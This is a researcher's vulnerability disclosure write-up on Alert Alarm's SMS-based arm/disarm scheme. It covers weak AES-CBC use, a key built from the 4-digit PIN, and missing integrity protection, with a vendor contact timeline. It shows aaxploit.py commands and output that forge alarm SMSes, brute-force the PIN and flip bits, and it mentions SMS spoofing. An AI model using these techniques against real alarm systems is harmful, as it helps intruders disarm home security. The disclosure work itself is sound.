For Swedish translation of the article please go here.
tl;dr;
For less tech savvy people or people just bored about all the details, this tl;dr; and the summary section at the end should be enough to read to get an understanding of the issues.
As of today, 2020-01-01, the issues presented here still haven't been fixed even though initial report date was July 3rd 2019.
Alert Alarm is a Swedish company selling burglar alarms (with various possibilities for extensions) to home owners. At one of their pages [1], they are saying that: "Our burglar alarms for home owners communicate using an encrypted channel primarily using GSM and secondarily using SMS". Apparently there is also some collaboration with Verisure since the people that I've been in contact with after reporting the issue to Alert Alarm are coming from Verisure.
Added 2020-01-03: An update and clarification regarding Verisure's role in this, since some people have misunderstood and misinterpreted some of the information in this article. Also, people working at Verisure have told me that the two burglar alarms solutions, i.e., Alert Alarms and Verisure's solution have nothing in common. Note however that these statements are not coming directly from Verisure, but instead from people who claim that they're working for Verisure.
So, what have this to do with Verisure otherwise? To start with Alert Alarm is a subsidiary to Verisure (see merinfo.se). After my report last summer I've only been in contact with Verisure people (people where their email address ends with @verisure.com). If it is Verisure employees or Alert Alarm employees that have been working with mitigations I cannot tell, likewise I cannot say anything about the differences and similarities between their different solutions. But what I definitely know is that I've only been in contact with people from Verisure.
But, to repeat and clarify, this report is only about Alert Alarms burglar alarm and have nothing to do with Verisures burglar alarm. If (and when) Alert Alarm and/or Verisure want to add information, confirm or make other clarifications I'm going to update this article accordingly. My goal is to give facts and not distort or give wrong and misleading information. In other words, please reach out to my if you find information in this article not accurate so I can fix it by using your references and comments. Note however that neither Alert Alarm nor Verisure to this date have denied that the information in this report is wrong and what can be read here is more or less the same as sent to them in July last year.
It all started out one morning in June 2019 when I noticed that when turning of the alarm from the App, a SMS was generated where the content was a long (hex-)string with random characters. After doing some reverse engineering I found out that Alert Alarm have multiple weaknesses in their SMS implementation that are used when turning on/off alarms from their Alert Alarm app (tested on Android). The weaknesses can be summarised in:
- Crypto algorithm in use is plain AES-CBC which is malleable.
- No integrity protection of the encrypted messages.
- Heavily reduced key space, from 128-bits to 9999 keys.
- Doesn't use any device unique values/properties in the data being sent to the Alert Alarm server.
- No key derivation function in use (KDF).
- No key exchange protocol in use (like Diffie Hellman for example).
This makes the security of the implementation very fragile, since all it takes for a rouge user is to get hold of a single SMS generated by the Alert Alarm app to be able to gain access to someones house. I.e., when the attacker got that he can easily figure out the code used to turn on/off the burglar alarm. Using free services one can send spoofed SMS with manually crafted data and then it's just to enter the victims house and no alarm will go off. Alternatively a thief can break into the house and just simply enter the code to turn off the alarm as the homeowner would do.
On this page, one can find examples and a script that can decrypt Alert Alarm SMSes and also create valid Alert Alarm SMSes. The script is also capable of finding a key using a brute force attack and it's also possible to flip bits to change the original intention of the SMS.
Observation
As mentioned, this caught my attention when I noticed that when turning off an active alarm (ARMED_HOME) using the Android app, a SMS is created similar to this (had to blur parts of it, otherwise anyone could figure out my own code by just running the scripts presented here).
After spending the rest of the morning reverse engineering the app I could see that the 64 bytes hex string is made up of two parts. The first part is the IV, which is a random number (coming from SHA1PRNG) and the second part is the actual message.
32 bytes 32 bytes
+-----------+----------+
| IV | Message |
+-----------+----------+
It uses a 128-bit key, however the key used for encryption are made up of strings like this:
000000000000xxxx
Where "xxxx" is the pin code that is used to turn on and off the burglar alarm. This means the key space is heavily reduced from 128-bits, to only 9999 combinations instead of 340282366920938463463374607431768211455 combinations as it would have been if they had used a proper key!
The message it self is encrypted using plain AES-CBC, so no integrity protection or anything. What that means is that although the SMS is encrypted anyone can still modify it without the receiver noticing that. I'll talk more about that further down in the examples about flipping bits (see the section: "Flip a bit in the encrypted message").
Message format
The format of the decrypted message is as follows:
Bytes: 1 1 1 2 1 2 2 2 2 2 = 16 bytes
+-----------+---+---+------+---------+-----+------+--------+---------+----------+
|SMS Version| i | j | year | month-1 | day | hour | minute | user id | \x00\x00 |
+-----------+---+---+------+---------+-----+------+--------+---------+----------+
(hex)
Here "i" seems to represent the "alarm off (0)" and "alarm on (1)" and "j" is probably whether it is "armed home" or "armed away".
Script
On my GitHub page, you'll find a Python script (aaxploit.py) that I wrote as a proof of concept script. With that script you can generate valid Alert Alarm SMSes, brute force SMS to get the code to the burglar alarm and a couple of other things that I'll go more into detail separately below. Calling the script with no arguments lists all possible parameters. But to make it easier to follow along, we've put together a couple of examples below.
Generate a SMS from scratch
This creates a valid SMS message (hex string), i.e, a real usable string that can be sent as an SMS and that will either turn on or turn off the alarm. "-p" here is the code that you want to use. If you own an Alert Alarm system, then you can try this, put your own and known code after "-p" and use either "--on" or "--off" to arm or disarm the alarm. Then take the crafted SMS and send it as an SMS to the alarm unit to attack.
Added 2020-01-05: After getting feedback from other Alert Alert users, we can conclude that there is no central SMS number, instead it seems like it's main unit itself that receives the SMS directly.
$ ./aaxploit.py -e -p 1234
[INFO]: Msg: 32303131393630333038343830310000
[INFO]: IV: d244e98aed6f2dfbf991485e5e43cd56
[INFO]: Key: 30303030303030303030303031323334 (0000000000001234)
[INFO]: Mode: encryption
[INFO]: Crafted SMS: d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
Decrypt a SMS from the phone
As an example, take the crafted SMS from the example above (having that said, copy a SMS string from a phone, generated by the Alert Alarm app works just as well). In this example we already know the pin code to turn on/off the alarm, so we provide that as a parameter.
$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -d -p 1234
[INFO]: Original SMS: d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
[INFO]: Msg: ee184c8e49d04a468eabd14aee04079b
[INFO]: IV: d244e98aed6f2dfbf991485e5e43cd56
[INFO]: Key: 30303030303030303030303031323334 (0000000000001234)
[INFO]: Mode: decryption
[INFO]: | sms_v | i | j | year | month | day | hour | minute | user_id |
[INFO]: 2 0 1 19 0x6 03 08 48 01
Brute force an encrypted SMS
Here we pretend that we don't know the key (i.e., the pin code to turn on/off the alarm), but we somehow have gotten hold of the encrypted SMS. By running the brute force attack we try to find the correct key and pin to turn on/off the alarm. Due to the nature of how the message is encoded, this always seems to work and since the key space is very small, it finds the key/pin in less than a second.
$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -b
[INFO]: Original SMS: d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
[INFO]: Msg: ee184c8e49d04a468eabd14aee04079b
[INFO]: IV: d244e98aed6f2dfbf991485e5e43cd56
[INFO]: Key: None (0000000000000000)
[INFO]: Mode: bruteforce
[INFO]: (Probably) found the correct ...
[INFO]: encryption key: 30303030303030303030303031323334
[INFO]: pin: 1234
As we can see, we found the correct key/pin code! Note that the pin code is the same as used on the real physical burglar alarm at the alarm owners house. I.e., if a thief breaks in, he can enter this pin code and the alarm never goes off.
Flip a bit in the encrypted message
Since AES-CBC is malleable, we can flip a bit in the IV which will be directly reflected on the decrypted message. I.e., a man in the middle can use this to either change a message from "Turn on alarm" to a "Turn off alarm" or vice versa. Notice that here one doesn't even have to decrypt the message, i.e, by just taking the original message and flip a bit and use the modified SMS is enough to turn off (or turn on) the alarm. In the example below we flip the meaning of the "i" bit.
$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b --flip 112
[INFO]: Original SMS: d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
[INFO]: Msg: ee184c8e49d04a468eabd14aee04079b
[INFO]: IV: d244e98aed6f2dfbf991485e5e43cd56
[INFO]: Key: None (0000000000000000)
[INFO]: Mode: flip bits
[INFO]: Modified IV: d245e98aed6f2dfbf991485e5e43cd56
[INFO]: Modified SMS: d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
If we take the "Modified SMS" and decrypt it, we can see that the "i" field has been changed (from "0" to "1", compare with message above, see the section "Decrypt a SMS from the phone").
$ ./aaxploit.py --input d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -d -p 1234
[INFO]: Original SMS: d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
[INFO]: Msg: ee184c8e49d04a468eabd14aee04079b
[INFO]: IV: d245e98aed6f2dfbf991485e5e43cd56
[INFO]: Key: 30303030303030303030303031323334 (0000000000001234)
[INFO]: Mode: decryption
[INFO]: | sms_v | i | j | year | month | day | hour | minute | user_id |
[INFO]: 2 1 1 19 0x6 03 08 48 01
/\
|----- changed from 0 to 1
Note that bit-flipping can be done to anything in the data, i.e., it would probably work to trick the system by taking an old valid SMS created by the Alert Alarm app and then just flip the date and/or hour bits and resend the modified SMS.
Other attacks?
- Is the Alert Alarm solution susceptible to replay attacks? Is is possible
to send the same message more than once?
- No it's not, sending the same SMS twice makes the main control unit say "Fjärrkontroll, felkod 2". Also by adding for example +1 to minute still doesn't work. So, probably Alert Alarm on the server side are checking either a hash of all messages coming in and/or simply just check that the data in the SMS isn't too old.
- Will the Alert Alarm server detect brute force attacks. I.e., can one send
9999 SMS in a short amount of time and thereby gain access to someones house?
- I haven't got this confirmed, but it's certainly something one easily could try.
- Added 2020-01-05: Since other Alert Alarm users have helped confirming that it's not a single number for SMSes going to a common server, this attack in practice becomes infeasible, since it'd require too many SMSes to be able to practically make an attack. However, don't mix up this brute force attack with the brute force attack on the SMS (two different attacks).
Open questions
Why did Alert Alarm decide to use SMS from the app, when there already must be a data connection with the app? This means that it probably works something like this.
- The SMS is sent to the server.
- The server decrypts the SMS, checks the parameters, record the action and send out a request (using the data connection over GSM) to the home owners main unit controlling the alarm.
- When the alarm has been armed/disarmed, the Android app gets a notification of the updated status.
- Added 2020-01-05: Since other Alert Alarm users have helped confirming that there is no single SMS service, the reasoning above cannot be correct. It's probably instead SMS -> Main unit -> Change status -> Inform Alert Alarm server -> Notification in the app. But, it's impossible to tell whether this is how it really works, I can just speculate on my own, Alert Alarm would need to confirm.
Why on earth use SMS at all? Doesn't all mobile phone / users have a data connection in 2019?
Questions and statements on forums etc
Added 2020-01-05: After going public with this people have started asking questions directly to me and in forums etc, I will try to give my view and answers to some of it here.
- Q: SMS is actually a feature, since there are areas without data coverage.
- A: I agree on that part. Living in a country where data coverage is very good I maybe was too quick on that. However, if the company offer such a service/feature then they must carefully architect the solution in a way that it is secure and that man in the middle cannot make any sense out of the data that is sent between the app and the one receiving the SMS.
- Q: Will the one making a brute force SMS attack get any notification when the
correct number has been found?
- A: No, it's just a regular SMS sent out, so in an attack one would send all messages needed to cover the entire key space (9999 keys). However as stated in other places in this article after the 2020-01-05 update, this brute force attack will be practically infeasible since you'd need to brute force the SMS phone number also.
- Q: A burglar alarm isn't at the end of the day that useful, at best it'll
put some stress on the thieves and maybe the thieves goes to the neighbors
with no burglar alarm instead of trying to get into your house.
- A: I think I mostly agree on that. If police and/or a guard would have shown up within minutes after the alarm goes of, then it'd be really useful. But I think most people with me knows that it can take quite a bit of time until someone actually shows up. However today alarms have many other features that can be useful to home owners, fire alarm, leaking water etc.
Contact with Alert Alarm / Verisure
- July 3rd 2019: I'm reporting to the support page that I want to disclose a security issue.
- July 9th 2019: Using a private Facebook message to Alert Alarm I once again try to say that I have a security issue that I want to report.
- July 10th 2019:
- Alert Alarm responds at Facebook that they've sent my contact details to the people developing the app.
- Verisure's Information Security Manager try to contact me using first phone and then email.
- I send over the report (basically this blog post) together with proof of concept scripts.
- Augusti 12th 2019: Phone meeting with Verisure, I get a status update and Verisure mentions that they need more time than standard 90-day disclosure time, something that I'm fine with.
- October 2nd 2019: I reach out to Verisure asking for an update. Message is that they are still working on a solution, testing "something" that should work and that they soon will let me know more about it. I also ask about CVE number and when we can go public with this. No answer to that.
- November 4th 2019: I reach out once again asking for an update.
- November 7th 2019: Verisure replies with more or less the same message as October 2nd. Again promises to get back to me soon.
Page updates
- 1:st January 2020: I'm cleaning up the write-up and publish all this. The reason for doing it today is because today it's half a year ago since I initially reported the issues to Alert Alarm. If they would have been serious about this, it should all have been fixed by now and they should have reconnected better with me.
- 3:rd January 2020: Updating the article with clarification regarding Alert Alarm's vs Verisure's role in this.
- 5:th January 2020: Updating the article with additional information regarding the SMS attack and a new section about questions that have been asked on forums etc.
Summary
The security of the solution relies on
- the pin code and
- the SMS senders phone number and
- that no-one is able to get hold of the SMS sent.
In fact, one can argue that the security only relies on "3", since if one gets hold of "3", then it's trivial to figure out "1", that is basically what the script aaxploit.py does. "2" on the other hand is typically available in phone books etc, i.e., it's usually not hard to figure out the phone numbers to the owner of a house.
Alert Alarm seems to have tried to "lock" the SMS service to a set of users. i.e., the first user have to add additional phone numbers before these people can use the app. So at first glance, one might believe that it's only the owners of these phone numbers who can send the SMS. But the fact is that there are many services out there that allow you to send spoofed SMS so it looks like they were sent from a certain phone number. I.e., it's totally possible to craft a SMS using aaxploit.py and then use one of these services to send a rouge SMS. I.e., any user can turn off the alarm without the alarm owner knowing about it.
Should the owners of this alarm be worried? Getting an SMS from the home owner is probably a bit challenging, so it's probably a bit hard to actually do the attack (don't leave your phone unattended!). On the other hand if Alert Alarm doesn't notice brute force attacks on the receiving side of the SMS, then it's fairly easy to put this attack into practice.
- Added 2020-01-05: Since other Alert Alarm users have helped confirming that it's not a single and common SMS number that receives the alarm SMSes, the brute force attack where one needs to send multiple SMSes isn't practically doable, since it'd require too many SMSes to be sent out. So my conclusion is that Alert Alarm owners doesn't have to worry about that particular attack, it's simply too complicated to put the attack in practice. However, it should not be mixed with the brute force attack on the SMS to get the pin code. That still works as described. I.e., a man in the middle can figure out a home owners code to turn on/off the alarm. What we would like to see is that the protocol is designed in such a way that the man in middle gets no useful information out for the data sent between the phone and the receiver of the data/SMS.
No matter, the flaws identified are quite severe and gives an attacker several ways to attack the system. Attacks that shouldn't be possible to do that easy on a system meant to protect our homes. Me and the other customers of Alert Alarm don't want our burglar alarms to have these kind of weaknesses. Right now it's more Security by Obscurity than real security.
About me
I'm Joakim Bech, a guy who has been working with Security on embedded devices for the last 12 years. I did the work above on my spare time, but otherwise I head the security team at a company called Linaro where I've been working for a little bit more than 6 years.